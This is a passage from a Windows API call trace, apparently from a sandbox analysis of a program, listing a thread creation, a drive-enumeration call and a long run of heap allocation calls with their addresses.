returned 0x5f33b0 [0100.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5f33b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0100.746] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f51f8 [0100.746] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f51f8, Size=0x20) returned 0x5ee930 [0100.746] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee930, Size=0x40) returned 0x5ca300 [0100.747] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0100.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5cb2b8 [0100.747] GetLogicalDrives () returned 0x4 [0100.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10014) returned 0x5f7700 [0100.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f52e8 [0100.747] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f52e8, Size=0x20) returned 0x5ee930 [0100.747] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee930, Size=0x40) returned 0x5ca078 [0100.747] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca078, Size=0x80) returned 0x5f4c00 [0100.747] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4c00, Size=0x100) returned 0x5f5fd0 [0100.747] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x200) returned 0x5f5fd0 [0100.747] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x400) returned 0x5f5fd0 [0100.747] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x800) returned 0x607720 [0100.747] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x607720, Size=0x1000) returned 0x607720 [0100.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x608728 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f52e8 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5f51b0 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5f3470 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5f5438 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5f34d0 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5330 [0100.748] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f34d0, Size=0x8) returned 0x5f33c0 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f51f8 [0100.748] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f33c0, Size=0x10) returned 0x5f5420 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f51c8 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5288 [0100.748] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5420, Size=0x20) returned 0x5ee7f0 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5360 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3400 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5f51e0 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5f53c0 [0100.748] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee7f0, Size=0x40) returned 0x5ca6a8 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5f5420 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5f53a8 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5f5210 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x5f5228 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5240 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5198 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f33c0 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5450 [0100.748] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca6a8, Size=0x80) returned 0x5f4160 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5300 [0100.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5168 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5270 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5390 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f54f8 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5f54b0 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f54c8 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f34c0 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f54e0 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5510 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5f5528 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5468 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5f5480 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5f5498 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618e98 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618e08 [0100.749] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4160, Size=0x100) returned 0x5f5fd0 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618e20 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618d60 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618e80 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x618eb0 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618dc0 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618e38 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3490 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618d78 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618ec8 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618d90 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5f3430 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618da8 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618f10 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f33d0 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618ee0 [0100.749] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618e50 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618dd8 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618ef8 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618df0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618e68 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x618a30 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618940 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x618970 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6187c0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618898 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618790 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618958 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f34d0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618868 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618988 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6189a0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6187d8 [0100.750] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x200) returned 0x5f5fd0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6189b8 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f33e0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618760 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618778 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6187a8 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618880 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6187f0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6188b0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6189d0 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618838 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618808 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6189e8 [0100.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618a00 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618a18 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618a48 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618820 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618850 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6188f8 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6188c8 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6188e0 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618910 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618928 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618bb0 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f33f0 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618d18 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618bc8 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618c70 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f34e0 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618c88 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618a78 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618ac0 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618a60 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618b50 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618a90 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618b68 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618aa8 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618d48 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618ad8 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618be0 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618d30 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618af0 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618b80 [0100.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618bf8 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618ca0 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618b38 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618b20 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618b98 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618cd0 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618b08 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f34f0 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5f3410 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618ce8 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618c10 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618cb8 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618c28 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618c40 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618c58 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618d00 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619010 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619058 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6191c0 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619160 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6191f0 [0100.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619208 [0100.752] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5fd0, Size=0x400) returned 0x5f5fd0 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619118 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618fb0 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619130 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618f98 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6190d0 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6191d8 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619220 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619178 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619148 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619238 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3420 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619250 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x618f68 [0100.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619190 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619070 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6191a8 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618f80 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x618fc8 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618fe0 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x618ff8 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619028 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619040 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619088 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6190a0 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6190b8 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6190e8 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3450 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619100 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619520 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619358 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6194c0 [0100.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619460 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6193b8 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619550 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619538 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619268 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x6193a0 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619370 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x619478 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619388 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6192c8 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619280 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619298 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6192b0 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6192e0 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6192f8 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6193d0 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6193e8 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619430 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619340 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619490 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619400 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6194f0 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6194a8 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619418 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619448 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619310 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619328 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6194d8 [0100.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619508 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6196e8 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619580 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6196d0 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12) returned 0x5c5110 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619640 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619670 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6196a0 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619598 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619688 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6195b0 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619628 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619610 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619718 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619658 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6195c8 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6195e0 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6196b8 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6195f8 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619700 [0100.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619568 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619a58 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6197a0 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619a10 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619998 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619980 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6199b0 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6199c8 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x619890 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6198d8 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3460 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6199e0 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f3480 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619878 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6198f0 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6199f8 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619a28 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619a40 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619788 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619770 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6197b8 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619800 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619938 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6197d0 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6197e8 [0100.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x619818 [0100.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x619830 [0100.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5f34a0 [0100.758] RtlAllocateHeap 